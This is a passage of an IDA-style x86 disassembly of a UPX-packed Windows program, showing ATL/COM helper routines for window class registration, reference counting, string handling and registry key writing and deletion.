loc_406D8C ; --------------------------------------------------------------------------- loc_406D7B: ; CODE XREF: sub_406CDA+B5j mov eax, esi mov eax, [eax] add esi, 4 test eax, eax jz short loc_406D8C mov ecx, [eax] push eax call dword ptr [ecx+8] loc_406D8C: ; CODE XREF: sub_406CDA+9Fj ; sub_406CDA+AAj cmp esi, [ebx+10h] jb short loc_406D7B push dword ptr [ebx+8] call sub_40B36B xor eax, eax mov [ebx+10h], eax mov [ebx+0Ch], eax mov [ebx+8], eax mov eax, [ebp+8] pop ecx jmp short loc_406DD0 ; --------------------------------------------------------------------------- loc_406DAA: ; CODE XREF: sub_406CDA+16j mov eax, [ebp+0Ch] mov [ebx+8], eax mov [ebx+0Ch], esi loc_406DB3: ; CODE XREF: sub_406CDA+9Aj mov edi, [ebp+14h] lea esi, [ebx+4] cmp [esi], edi jz short loc_406DC2 call sub_4011B4 loc_406DC2: ; CODE XREF: sub_406CDA+E1j mov eax, [ebx+8] mov [ebx+10h], eax mov eax, [ebp+18h] mov [ebx+14h], eax xor eax, eax loc_406DD0: ; CODE XREF: sub_406CDA+65j ; sub_406CDA+CEj call sub_40C50C retn 14h sub_406CDA endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406DD8 proc near ; CODE XREF: sub_404D0B+20p ; sub_404D5C+20p ... var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_30 = byte ptr -30h arg_0 = dword ptr 8 push ebp mov ebp, esp and esp, 0FFFFFFF8h sub esp, 70h push esi xor esi, esi push edi cmp ebx, esi jz short loc_406E65 cmp [ebp+arg_0], esi jz short loc_406E65 cmp [ebx+40h], si jnz loc_406F29 mov eax, offset dword_42E38C push eax mov [esp+7Ch+var_68], eax call dword_41D1CC ; RtlEnterCriticalSection mov byte ptr [esp+78h+var_64], 1 cmp [ebx+40h], si jnz loc_406F1E mov eax, [ebx+30h] cmp eax, esi jz short loc_406E8E mov ecx, [ebx+28h] mov [esp+78h+var_70], ecx mov ecx, [ebx+8] mov [esp+78h+var_6C], ecx lea ecx, [esp+78h+var_60] push ecx push eax push esi mov esi, dword_41D35C mov [esp+84h+var_60], 30h call esi ; dword_41D35C test eax, eax jnz short loc_406E6D mov eax, [ebx+30h] lea ecx, [esp+78h+var_60] push ecx push eax push dword_42E350 call esi ; dword_41D35C test eax, eax jnz short loc_406E6D lea ecx, [esp+78h+var_68] call sub_4066D7 loc_406E65: ; CODE XREF: sub_406DD8+Fj ; sub_406DD8+14j xor eax, eax loc_406E67: ; CODE XREF: sub_406DD8+162j pop edi pop esi mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- loc_406E6D: ; CODE XREF: sub_406DD8+6Dj ; sub_406DD8+82j push 0Ch pop ecx lea esi, [esp+78h+var_60] mov edi, ebx rep movsd mov eax, [ebx+8] mov [ebx+34h], eax mov eax, [esp+78h+var_70] mov [ebx+28h], eax mov eax, [esp+78h+var_6C] mov [ebx+8], eax jmp short loc_406EAA ; --------------------------------------------------------------------------- loc_406E8E: ; CODE XREF: sub_406DD8+44j mov eax, [ebx+3Ch] push dword ptr [ebx+38h] neg eax sbb eax, eax not eax and eax, dword_42E354 push eax call dword_41D344 ; LoadCursorW mov [ebx+1Ch], eax loc_406EAA: ; CODE XREF: sub_406DD8+B4j mov eax, dword_42E350 and dword ptr [ebx+4], 0FFFFBFFFh cmp dword ptr [ebx+28h], 0 mov [ebx+14h], eax jnz short loc_406ED6 push ebx push offset aAtlP ; "ATL:%p" lea esi, [ebx+42h] push 25h push esi call sub_40AC2B add esp, 10h mov [ebx+28h], esi loc_406ED6: ; CODE XREF: sub_406DD8+E5j mov eax, [ebx+28h] push 0Ch pop ecx lea edx, [esp+78h+var_30] push edx mov esi, ebx lea edi, [esp+7Ch+var_30] rep movsd mov ecx, [ebx+14h] push eax push ecx call dword_41D35C ; GetClassInfoExW mov [ebx+40h], ax test ax, ax jnz short loc_406F1E push ebx call dword_41D2D4 ; RegisterClassExW movzx edi, ax lea eax, [esp+78h+var_6C] push eax mov esi, offset dword_42E3A8 mov [esp+7Ch+var_6C], edi call sub_404C2B mov [ebx+40h], di loc_406F1E: ; CODE XREF: sub_406DD8+39j ; sub_406DD8+123j lea ecx, [esp+78h+var_68] call sub_4066D7 xor esi, esi loc_406F29: ; CODE XREF: sub_406DD8+1Aj cmp [ebx+30h], esi jz short loc_406F36 mov eax, [ebx+34h] mov ecx, [ebp+arg_0] mov [ecx], eax loc_406F36: ; CODE XREF: sub_406DD8+154j mov ax, [ebx+40h] jmp loc_406E67 sub_406DD8 endp ; =============== S U B R O U T I N E ======================================= sub_406F3F proc near ; CODE XREF: sub_405546+60p ; sub_4055BC+22p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch add eax, eax push eax push [esp+4+arg_8] mov eax, [esp+8+arg_4] add eax, eax push eax push [esp+0Ch+arg_0] call sub_40B376 mov eax, [esp+10h+arg_0] add esp, 10h retn sub_406F3F endp ; =============== S U B R O U T I N E ======================================= sub_406F5E proc near ; CODE XREF: sub_4051B7+6Ep ; sub_405603+57p ... cmp dword ptr [eax+18h], 8 push esi push edi mov edi, [eax+14h] jb short loc_406F6E mov eax, [eax+4] jmp short loc_406F71 ; --------------------------------------------------------------------------- loc_406F6E: ; CODE XREF: sub_406F5E+9j add eax, 4 loc_406F71: ; CODE XREF: sub_406F5E+Ej mov esi, [ecx+14h] mov edx, esi cmp esi, edi jb short loc_406F7C mov edx, edi loc_406F7C: ; CODE XREF: sub_406F5E+1Aj cmp dword ptr [ecx+18h], 8 jb short loc_406F87 mov ecx, [ecx+4] jmp short loc_406F8A ; --------------------------------------------------------------------------- loc_406F87: ; CODE XREF: sub_406F5E+22j add ecx, 4 loc_406F8A: ; CODE XREF: sub_406F5E+27j push ebx test edx, edx jbe short loc_406F9E loc_406F8F: ; CODE XREF: sub_406F5E+3Ej mov bx, [ecx] cmp bx, [eax] jnz short loc_406FAE inc ecx inc ecx inc eax inc eax dec edx jnz short loc_406F8F loc_406F9E: ; CODE XREF: sub_406F5E+2Fj xor eax, eax loc_406FA0: ; CODE XREF: sub_406F5E+5Cj pop ebx test eax, eax jnz short loc_406FC3 cmp esi, edi jnb short loc_406FBC or eax, 0FFFFFFFFh jmp short loc_406FC3 ; --------------------------------------------------------------------------- loc_406FAE: ; CODE XREF: sub_406F5E+37j mov cx, bx cmp cx, [eax] sbb eax, eax and eax, 0FFFFFFFEh inc eax jmp short loc_406FA0 ; --------------------------------------------------------------------------- loc_406FBC: ; CODE XREF: sub_406F5E+49j xor eax, eax cmp esi, edi setnz al loc_406FC3: ; CODE XREF: sub_406F5E+45j ; sub_406F5E+4Ej xor ecx, ecx test eax, eax setl cl pop edi mov al, cl pop esi retn sub_406F5E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_406FCF proc near ; CODE XREF: sub_405F0B+50p ; sub_405F0B+6Cp var_C = dword ptr -0Ch arg_0 = dword ptr 8 push ebp mov ebp, esp mov ecx, [ebp+arg_0] sub esp, 0Ch test ecx, ecx ja short loc_406FE7 xor ecx, ecx loc_406FDE: ; CODE XREF: sub_406FCF+22j push ecx call sub_40B45F pop ecx leave retn ; --------------------------------------------------------------------------- loc_406FE7: ; CODE XREF: sub_406FCF+Bj or eax, 0FFFFFFFFh xor edx, edx div ecx cmp eax, 1 jnb short loc_406FDE and [ebp+arg_0], 0 lea eax, [ebp+arg_0] push eax lea ecx, [ebp+var_C] call sub_40ACB7 push offset dword_426E80 lea eax, [ebp+var_C] push eax mov [ebp+var_C], offset off_41D4DC call sub_40C03B int 3 ; Trap to Debugger sub_406FCF endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_407019 proc near ; CODE XREF: sub_40B45F+51p arg_0 = dword ptr 4 push esi push [esp+4+arg_0] mov esi, ecx call sub_40AD27 mov dword ptr [esi], offset off_41D4DC mov eax, esi pop esi retn 4 sub_407019 endp ; =============== S U B R O U T I N E ======================================= sub_407031 proc near ; CODE XREF: sub_4069AB+39p push ebx push edi xor ebx, ebx mov [esi+28h], ebx lea edx, [esi+2Ch] push 6 xor eax, eax pop ecx mov edi, edx rep stosd mov eax, dword_41D278 mov [edx+18h], bl mov [esi+4], ebx mov [esi+14h], ebx mov [esi+18h], ebx mov [esi+1Ch], ebx mov [esi+20h], eax mov [esi+48h], ebx mov dword ptr [esi], offset off_423F04 mov dword ptr [esi+24h], offset off_423F1C mov ecx, dword_42EE90 mov eax, [ecx] call dword ptr [eax+4] pop edi mov eax, esi pop ebx retn sub_407031 endp ; =============== S U B R O U T I N E ======================================= sub_40707B proc near ; CODE XREF: sub_406A3F+39p push ebx push edi xor ebx, ebx mov [esi+28h], ebx lea edx, [esi+2Ch] push 6 xor eax, eax pop ecx mov edi, edx rep stosd mov eax, dword_41D278 mov [edx+18h], bl mov [esi+4], ebx mov [esi+14h], ebx mov [esi+18h], ebx mov [esi+1Ch], ebx mov [esi+20h], eax mov [esi+48h], ebx mov dword ptr [esi], offset off_423F5C mov dword ptr [esi+24h], offset off_423F70 mov ecx, dword_42EE90 mov eax, [ecx] call dword ptr [eax+4] pop edi mov eax, esi pop ebx retn sub_40707B endp ; =============== S U B R O U T I N E ======================================= sub_4070C5 proc near ; CODE XREF: sub_406B27+75p ; sub_406CDA+74p test ecx, ecx jz short loc_4070CD test eax, eax jnz short loc_4070D7 loc_4070CD: ; CODE XREF: sub_4070C5+2j push 80004005h call sub_4010D8 ; --------------------------------------------------------------------------- loc_4070D7: ; CODE XREF: sub_4070C5+6j mov eax, [eax] mov [ecx], eax test eax, eax jz short loc_4070E5 mov ecx, [eax] push eax call dword ptr [ecx+4] loc_4070E5: ; CODE XREF: sub_4070C5+18j xor eax, eax retn sub_4070C5 endp ; =============== S U B R O U T I N E ======================================= sub_4070E8 proc near ; CODE XREF: sub_406C2A+22p push 0Ch mov eax, offset loc_41C5EA call sub_40C4A0 mov ebx, [ebp+8] xor esi, esi cmp ebx, esi jnz short loc_407104 mov eax, 80004003h jmp short loc_407174 ; --------------------------------------------------------------------------- loc_407104: ; CODE XREF: sub_4070E8+13j push 38h mov [ebx], esi mov dword ptr [ebp-18h], 8007000Eh mov [ebp-14h], esi mov [ebp-4], esi call sub_40B45F pop ecx cmp eax, esi jz short loc_407128 mov esi, eax call sub_404FD0 mov esi, eax loc_407128: ; CODE XREF: sub_4070E8+35j or dword ptr [ebp-4], 0FFFFFFFFh jmp short loc_40713E ; --------------------------------------------------------------------------- loc_40712E: ; DATA XREF: UPX0:00427A14o or dword ptr [ebp-4], 0FFFFFFFFh mov eax, offset loc_407138 retn ; --------------------------------------------------------------------------- loc_407138: ; DATA XREF: sub_4070E8+4Ao mov ebx, [ebp+8] mov esi, [ebp-14h] loc_40713E: ; CODE XREF: sub_4070E8+44j test esi, esi jz short loc_40716D lea edi, [esi+1Ch] mov ecx, edi call sub_401154 test eax, eax jl short loc_407154 mov byte ptr [edi+18h], 1 loc_407154: ; CODE XREF: sub_4070E8+66j mov edi, eax test eax, eax jl short loc_40715C xor edi, edi loc_40715C: ; CODE XREF: sub_4070E8+70j test edi, edi jz short loc_407170 mov eax, [esi] push 1 mov ecx, esi call dword ptr [eax+1Ch] xor esi, esi jmp short loc_407170 ; --------------------------------------------------------------------------- loc_40716D: ; CODE XREF: sub_4070E8+58j mov edi, [ebp-18h] loc_407170: ; CODE XREF: sub_4070E8+76j ; sub_4070E8+83j mov [ebx], esi mov eax, edi loc_407174: ; CODE XREF: sub_4070E8+1Aj call sub_40C50C retn 4 sub_4070E8 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_40717C proc near ; DATA XREF: UPX0:0042418Co arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 00405949 SIZE 00000010 BYTES sub [esp+arg_0], 24h jmp loc_405949 sub_40717C endp ; --------------------------------------------------------------------------- loc_407186: ; DATA XREF: UPX0:00424150o sub dword ptr [esp+4], 1Ch jmp loc_405939 ; --------------------------------------------------------------------------- loc_407190: ; DATA XREF: UPX0:00424074o sub dword ptr [esp+4], 8 jmp loc_405949 ; --------------------------------------------------------------------------- loc_40719A: ; DATA XREF: UPX0:004241DCo sub dword ptr [esp+4], 28h jmp loc_405949 ; --------------------------------------------------------------------------- loc_4071A4: ; DATA XREF: UPX0:00424164o sub dword ptr [esp+4], 20h jmp loc_405939 ; --------------------------------------------------------------------------- loc_4071AE: ; DATA XREF: UPX0:off_42414Co sub dword ptr [esp+4], 1Ch jmp loc_405959 ; --------------------------------------------------------------------------- loc_4071B8: ; DATA XREF: UPX0:004240F0o sub dword ptr [esp+4], 0Ch jmp loc_405949 ; --------------------------------------------------------------------------- sub dword ptr [esp+4], 4 jmp loc_405939 ; --------------------------------------------------------------------------- loc_4071CC: ; DATA XREF: UPX0:00424188o sub dword ptr [esp+4], 24h jmp loc_405939 ; --------------------------------------------------------------------------- loc_4071D6: ; DATA XREF: UPX0:off_424160o sub dword ptr [esp+4], 20h jmp loc_405959 ; --------------------------------------------------------------------------- loc_4071E0: ; DATA XREF: UPX0:0042411Co sub dword ptr [esp+4], 10h jmp loc_405949 ; --------------------------------------------------------------------------- loc_4071EA: ; DATA XREF: UPX0:00424070o sub dword ptr [esp+4], 8 jmp loc_405939 ; --------------------------------------------------------------------------- loc_4071F4: ; DATA XREF: UPX0:004241D8o sub dword ptr [esp+4], 28h jmp loc_405939 ; --------------------------------------------------------------------------- loc_4071FE: ; DATA XREF: sub_418A96+A9o mov eax, [ecx] jmp dword ptr [eax+14h] ; --------------------------------------------------------------------------- sub dword ptr [esp+4], 4 jmp loc_405959 ; --------------------------------------------------------------------------- loc_40720D: ; DATA XREF: UPX0:off_424184o sub dword ptr [esp+4], 24h jmp loc_405959 ; --------------------------------------------------------------------------- loc_407217: ; DATA XREF: UPX0:00424138o sub dword ptr [esp+4], 14h jmp loc_405949 ; --------------------------------------------------------------------------- loc_407221: ; DATA XREF: UPX0:004240ECo sub dword ptr [esp+4], 0Ch jmp loc_405939 ; --------------------------------------------------------------------------- loc_40722B: ; DATA XREF: UPX0:off_42406Co sub dword ptr [esp+4], 8 jmp loc_405959 ; --------------------------------------------------------------------------- loc_407235: ; DATA XREF: UPX0:off_4241D4o sub dword ptr [esp+4], 28h jmp loc_405959 ; --------------------------------------------------------------------------- loc_40723F: ; DATA XREF: UPX0:00424118o sub dword ptr [esp+4], 10h jmp loc_405939 ; --------------------------------------------------------------------------- loc_407249: ; DATA XREF: UPX0:off_4240E8o sub dword ptr [esp+4], 0Ch jmp loc_405959 ; --------------------------------------------------------------------------- loc_407253: ; DATA XREF: UPX0:00424154o sub dword ptr [esp+4], 1Ch jmp loc_405949 ; =============== S U B R O U T I N E ======================================= sub_40725D proc near ; DATA XREF: UPX0:00424144o sub ecx, 38h jmp sub_405EED sub_40725D endp ; --------------------------------------------------------------------------- loc_407265: ; DATA XREF: UPX0:00424134o sub dword ptr [esp+4], 14h jmp loc_405939 ; --------------------------------------------------------------------------- loc_40726F: ; DATA XREF: UPX0:off_424114o sub dword ptr [esp+4], 10h jmp loc_405959 ; --------------------------------------------------------------------------- loc_407279: ; DATA XREF: UPX0:00424168o sub dword ptr [esp+4], 20h jmp loc_405949 ; --------------------------------------------------------------------------- loc_407283: ; DATA XREF: UPX0:off_424130o sub dword ptr [esp+4], 14h jmp loc_405959 ; --------------------------------------------------------------------------- sub dword ptr [esp+4], 4 jmp loc_405949 ; =============== S U B R O U T I N E ======================================= ; Attributes: noreturn sub_407297 proc near ; CODE XREF: sub_40A2F3+99p ; sub_40A398+AEp call dword_41D1D8 ; RtlGetLastWin32Error test eax, eax jle short loc_4072AB and eax, 0FFFFh or eax, 80070000h loc_4072AB: ; CODE XREF: sub_407297+8j push eax call sub_4010D8 sub_407297 endp ; --------------------------------------------------------------------------- align 2 ; =============== S U B R O U T I N E ======================================= sub_4072B2 proc near ; CODE XREF: sub_407CD3+329p ; sub_4083DE:loc_408889p ... test eax, eax jle short locret_4072C0 and eax, 0FFFFh or eax, 80070000h locret_4072C0: ; CODE XREF: sub_4072B2+2j retn sub_4072B2 endp ; =============== S U B R O U T I N E ======================================= sub_4072C1 proc near ; CODE XREF: UPX0:00407406p ; UPX0:0041C89Bj push ebx push ebp mov ebx, eax push edi lea edi, [ebx+4] xor ebp, ebp cmp [edi], ebp jz short loc_407324 cmp [ebx+0Ch], ebp jz short loc_40730B cmp edi, ebp jnz short loc_4072E7 push ebp push ebp push 1 push 0C0000005h call dword_41D1DC ; RaiseException loc_4072E7: ; CODE XREF: sub_4072C1+15j push esi mov esi, [edi+8] cmp esi, ebp jz short loc_407304 loc_4072EF: ; CODE XREF: sub_4072C1+41j push dword ptr [esi+4] call dword ptr [esi] mov ebp, [esi+8] push esi call sub_40AC11 pop ecx mov esi, ebp test ebp, ebp jnz short loc_4072EF loc_407304: ; CODE XREF: sub_4072C1+2Cj mov [edi+8], ebp mov [ebx+0Ch], ebp pop esi loc_40730B: ; CODE XREF: sub_4072C1+11j mov eax, [ebx+28h] cmp eax, ebp jz short loc_407318 mov ecx, [eax] push eax call dword ptr [ecx+8] loc_407318: ; CODE XREF: sub_4072C1+4Fj add ebx, 10h push ebx call dword_41D1C8 ; RtlDeleteCriticalSection mov [edi], ebp loc_407324: ; CODE XREF: sub_4072C1+Cj pop edi pop ebp pop ebx retn sub_4072C1 endp ; =============== S U B R O U T I N E ======================================= sub_407328 proc near ; DATA XREF: UPX0:00424BB4o add ecx, 8 push ecx call dword_41D21C ; InterlockedIncrement retn sub_407328 endp ; =============== S U B R O U T I N E ======================================= sub_407333 proc near ; DATA XREF: UPX0:00424BB8o add ecx, 8 push ecx call dword_41D218 ; InterlockedDecrement retn sub_407333 endp ; =============== S U B R O U T I N E ======================================= sub_40733E proc near ; DATA XREF: UPX0:00424BBCo mov eax, [ecx+8] retn sub_40733E endp ; =============== S U B R O U T I N E ======================================= sub_407342 proc near ; DATA XREF: UPX0:00424BC0o arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] test ebx, ebx jnz short loc_407352 mov eax, 80004003h jmp short loc_407387 ; --------------------------------------------------------------------------- loc_407352: ; CODE XREF: sub_407342+7j push esi push edi xor edi, edi lea esi, [ecx+28h] cmp [esi], edi jnz short loc_407377 push esi push offset dword_424CE4 push 1 push edi push offset dword_41D450 call dword_41D398 mov edi, eax test edi, edi jl short loc_407383 loc_407377: ; CODE XREF: sub_407342+19j mov eax, [esi] mov [ebx], eax mov esi, [esi] mov eax, [esi] push esi call dword ptr [eax+4] loc_407383: ; CODE XREF: sub_407342+33j mov eax, edi pop edi pop esi loc_407387: ; CODE XREF: sub_407342+Ej pop ebx retn 4 sub_407342 endp ; =============== S U B R O U T I N E ======================================= sub_40738B proc near ; CODE XREF: sub_4089CE+F7p ; sub_408BAA+EEp push esi push edi mov esi, eax xor edi, edi dec esi jz short loc_4073BB loc_407394: ; CODE XREF: sub_40738B+2Ej movzx eax, word ptr [edx] test ax, ax jz short loc_4073BB mov [ecx], ax inc ecx inc ecx cmp word ptr [edx], 27h jnz short loc_4073B4 inc edi cmp edi, esi jnb short loc_4073B4 push 27h pop eax mov [ecx], ax inc ecx inc ecx loc_4073B4: ; CODE XREF: sub_40738B+1Aj ; sub_40738B+1Fj inc edx inc edx inc edi cmp edi, esi jb short loc_407394 loc_4073BB: ; CODE XREF: sub_40738B+7j ; sub_40738B+Fj xor eax, eax pop edi mov [ecx], ax pop esi retn sub_40738B endp ; --------------------------------------------------------------------------- mov eax, 80004005h retn 10h ; --------------------------------------------------------------------------- push dword ptr [esp+0Ch] mov ecx, [esp+14h] push dword ptr [esp+0Ch] push dword ptr [esp+0Ch] call sub_4089CE retn 10h ; --------------------------------------------------------------------------- loc_4073E3: ; DATA XREF: UPX0:00424BD0o push dword ptr [esp+0Ch] mov ecx, [esp+14h] push dword ptr [esp+0Ch] push dword ptr [esp+0Ch] call sub_408BAA retn 10h ; --------------------------------------------------------------------------- loc_4073FB: ; DATA XREF: UPX0:off_424BB0o push esi mov esi, ecx mov eax, esi mov dword ptr [esi], offset off_424BB0 call sub_4072C1 test byte ptr [esp+8], 1 jz short loc_407419 push esi call sub_40AC11 pop ecx loc_407419: ; CODE XREF: UPX0:00407410j mov eax, esi pop esi retn 4 ; --------------------------------------------------------------------------- loc_40741F: ; CODE XREF: UPX0:0041C373j ; UPX0:0041C37Ej mov eax, [esi] test eax, eax jz short locret_40742F push eax call dword_41D000 ; RegCloseKey and dword ptr [esi], 0 locret_40742F: ; CODE XREF: UPX0:00407423j retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_407430 proc near ; CODE XREF: sub_407CD3+188p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp cmp [ebp+arg_8], 0 jnz short loc_407443 push 80004005h call sub_4010D8 ; --------------------------------------------------------------------------- loc_407443: ; CODE XREF: sub_407430+7j push esi mov esi, [ebp+arg_8] push edi xor edi, edi loc_40744A: ; CODE XREF: sub_407430+2Cj push esi call dword_41D1F0 ; lstrlenW inc eax lea ecx, [eax+eax] add esi, ecx add edi, ecx cmp eax, 1 jnz short loc_40744A mov eax, [ebp+arg_0] push edi push [ebp+arg_8] push 7 push 0 push [ebp+arg_4] push dword ptr [eax] call dword_41D018 ; RegSetValueExW pop edi pop esi pop ebp retn 0Ch sub_407430 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40747A proc near ; CODE XREF: sub_40747A+B3p ; sub_4083DE+F6p ... var_228 = byte ptr -228h var_220 = dword ptr -220h var_21C = dword ptr -21Ch var_218 = dword ptr -218h var_214 = dword ptr -214h var_210 = dword ptr -210h var_20C = byte ptr -20Ch var_8 = dword ptr -8 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 228h mov eax, dword_42A034 xor eax, ebp mov [ebp+var_8], eax push ebx push esi push edi lea edx, [ebp+var_214] push edx push 2001Fh mov eax, ecx mov ecx, [ebp+arg_0] xor esi, esi push esi mov [ebp+var_220], eax mov eax, [eax] push ecx push eax mov [ebp+var_21C], ecx mov [ebp+var_210], esi mov [ebp+var_214], esi call dword_41D010 ; RegOpenKeyExW mov ebx, dword_41D000 mov edi, eax cmp edi, esi jnz loc_407597 xor eax, eax cmp [ebp+var_210], esi jz short loc_4074E8 push [ebp+var_210] call ebx ; dword_41D000 loc_4074E8: ; CODE XREF: sub_40747A+64j mov ecx, [ebp+var_214] mov edi, eax mov [ebp+var_210], ecx cmp eax, esi jnz loc_407597 mov edi, dword_41D014 lea eax, [ebp+var_228] push eax push esi push esi push esi lea eax, [ebp+var_218] push eax lea eax, [ebp+var_20C] push eax push esi push ecx jmp short loc_40755B ; --------------------------------------------------------------------------- loc_407520: ; CODE XREF: sub_40747A+EFj lea eax, [ebp+var_20C] push eax lea ecx, [ebp+var_210] call sub_40747A mov [ebp+var_214], eax cmp eax, esi jnz short loc_4075BA lea eax, [ebp+var_228] push eax push esi push esi push esi lea eax, [ebp+var_218] push eax lea eax, [ebp+var_20C] push eax push esi push [ebp+var_210] loc_40755B: ; CODE XREF: sub_40747A+A4j mov [ebp+var_218], 100h call edi ; dword_41D014 test eax, eax jz short loc_407520 cmp [ebp+var_210], esi jz short loc_407581 push [ebp+var_210] call ebx ; dword_41D000 mov [ebp+var_210], esi loc_407581: ; CODE XREF: sub_40747A+F7j push [ebp+var_21C] mov eax, [ebp+var_220] push dword ptr [eax] call dword_41D008 ; RegDeleteKeyW mov edi, eax loc_407597: ; CODE XREF: sub_40747A+56j ; sub_40747A+7Ej cmp [ebp+var_210], esi jz short loc_4075A7 push [ebp+var_210] call ebx ; dword_41D000 loc_4075A7: ; CODE XREF: sub_40747A+123j mov eax, edi loc_4075A9: ; CODE XREF: sub_40747A+156j mov ecx, [ebp+var_8] pop edi pop esi xor ecx, ebp pop ebx call sub_40AC1C leave retn 4 ; --------------------------------------------------------------------------- loc_4075BA: ; CODE XREF: sub_40747A+C0j cmp [ebp+var_210], esi jz short loc_4075CA push [ebp+var_210] call ebx ; dword_41D000 loc_4075CA: ; CODE XREF: sub_40747A+146j mov eax, [ebp+var_214] jmp short loc_4075A9 sub_40747A endp ; =============== S U B R O U T I N E ======================================= sub_4075D2 proc near ; CODE XREF: sub_40783F+3Dp push 20h mov eax, offset loc_41C3C1 call sub_40C4A0 xor edi, edi cmp [ebp+0Ch], edi jz loc_4076F2 cmp [ebp+10h], edi jz loc_4076F2 push dword ptr [ebp+0Ch] mov [ebp-1Ch], edi call dword_41D1F0 ; lstrlenW push 2 lea eax, [eax+eax+2] xor ecx, ecx pop esi mov [ebp-20h], eax mov edx, esi mul edx seto cl mov [ebp-14h], edi mov [ebp-4], edi neg ecx or ecx, eax push ecx call sub_40AC06 pop ecx mov [ebp-14h], eax jmp short loc_407632 ; --------------------------------------------------------------------------- loc_407627: ; DATA XREF: UPX0:00427634o mov eax, offset loc_40762D retn ; --------------------------------------------------------------------------- loc_40762D: ; DATA XREF: sub_4075D2:loc_407627o push 2 xor edi, edi pop esi loc_407632: ; CODE XREF: sub_4075D2+53j push dword ptr [ebp+10h] mov [ebp-4], esi mov eax, [ebp-14h] mov [ebp-2Ch], eax call dword_41D1F0 ; lstrlenW lea eax, [eax+eax+2] xor ecx, ecx mov [ebp-24h], eax mov edx, esi mul edx seto cl mov [ebp-18h], edi mov byte ptr [ebp-4], 3 neg ecx or ecx, eax push ecx call sub_40AC06 pop ecx mov [ebp-18h], eax mov [ebp-4], esi jmp short loc_40767D ; --------------------------------------------------------------------------- loc_40766E: ; DATA XREF: UPX0:00427644o mov dword ptr [ebp-4], 2 mov eax, offset loc_40767B retn ; --------------------------------------------------------------------------- loc_40767B: ; DATA XREF: sub_4075D2+A3o xor edi, edi loc_40767D: ; CODE XREF: sub_4075D2+9Aj mov byte ptr [ebp-4], 5 mov esi, [ebp-18h] mov [ebp-28h], esi cmp [ebp-14h], edi jz short loc_4076C7 cmp esi, edi jz short loc_4076C7 push dword ptr [ebp-20h] push dword ptr [ebp+0Ch] push dword ptr [ebp-20h] push dword ptr [ebp-14h] call sub_401125 ; --------------------------------------------------------------------------- push dword ptr [ebp-24h] push dword ptr [ebp+10h] push dword ptr [ebp-24h] push esi call sub_401125 ; --------------------------------------------------------------------------- mov esi, [ebp+8] add esp, 20h lea eax, [ebp-18h] push eax lea eax, [ebp-14h] push eax call sub_40A1BD test eax, eax jnz short loc_4076D0 loc_4076C7: ; CODE XREF: sub_4075D2+B8j ; sub_4075D2+BCj mov dword ptr [ebp-1Ch], 8007000Eh jmp short loc_4076D6 ; --------------------------------------------------------------------------- loc_4076D0: ; CODE XREF: sub_4075D2+F3j mov [ebp-2Ch], edi mov [ebp-28h], edi loc_4076D6: ; CODE XREF: sub_4075D2+FCj push dword ptr [ebp-28h] call sub_40B36B push dword ptr [ebp-2Ch] call sub_40B36B xor eax, eax cmp [ebp-1Ch], edi pop ecx pop ecx setnl al jmp short loc_4076F4 ; --------------------------------------------------------------------------- loc_4076F2: ; CODE XREF: sub_4075D2+11j ; sub_4075D2+1Aj xor eax, eax loc_4076F4: ; CODE XREF: sub_4075D2+11Ej call sub_40C50C retn 0Ch sub_4075D2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4076FC proc near ; CODE XREF: sub_4077EF+28p ; sub_407A4C+13p push esi mov esi, eax mov eax, [esi+8] push edi xor edi, edi test eax, eax jle short loc_407735 loc_407709: ; CODE XREF: sub_4076FC+37j test edi, edi jl short loc_40773F cmp edi, eax jge short loc_40773F mov eax, [esi] push dword ptr [eax+edi*4] call sub_40B36B pop ecx mov eax, edi mov ecx, esi call sub_40A246 push dword ptr [eax] call sub_40B36B mov eax, [esi+8] inc edi cmp edi, eax pop ecx jl short loc_407709 loc_407735: ; CODE XREF: sub_4076FC+Bj call sub_40A21F pop edi xor eax, eax pop esi retn ; --------------------------------------------------------------------------- loc_40773F: ; CODE XREF: sub_4076FC+Fj ; sub_4076FC+13j push 0 push 0 push 1 push 0C000008Ch call dword_41D1DC ; RaiseException int 3 ; Trap to Debugger loc_407751: ; CODE XREF: UPX0:0041C64Ej push dword ptr [eax+8] call dword_41D39C retn sub_4076FC endp ; =============== S U B R O U T I N E ======================================= sub_40775B proc near ; CODE XREF: sub_4080FF+A7p ; sub_4080FF+13Ep arg_0 = dword ptr 4 mov eax, [esi] lea ecx, [eax+edi+1] cmp ecx, eax jle short loc_4077E4 cmp ecx, edi jle short loc_4077E4 cmp ecx, [esi+4] jl short loc_4077A3 loc_40776E: ; CODE XREF: sub_40775B+24j mov eax, [esi+4] cmp eax, 3FFFFFFFh jg short loc_4077E4 add eax, eax cmp ecx, eax mov [esi+4], eax jge short loc_40776E mov ecx, [esi+8] push 2 pop edx mul edx test edx, edx ja short loc_4077E4 jb short loc_407794 cmp eax, 0FFFFFFFFh ja short loc_4077E4 loc_407794: ; CODE XREF: sub_40775B+32j push eax push ecx call dword_41D3C4 test eax, eax jz short loc_4077E4 mov [esi+8], eax loc_4077A3: ; CODE XREF: sub_40775B+11j mov eax, [esi] test eax, eax jl short loc_4077E4 mov edx, [esi+4] cmp eax, edx jge short loc_4077E4 mov ecx, edx sub ecx, eax cmp ecx, edx jg short loc_4077E4 lea edx, [edi+edi] push edx push [esp+4+arg_0] add ecx, ecx push ecx mov ecx, [esi+8] lea eax, [ecx+eax*2] push eax call sub_401125 ; --------------------------------------------------------------------------- add [esi], edi mov eax, [esi] mov ecx, [esi+8] xor edx, edx mov [ecx+eax*2], dx xor eax, eax add esp, 10h inc eax jmp short locret_4077E6 ; --------------------------------------------------------------------------- loc_4077E4: 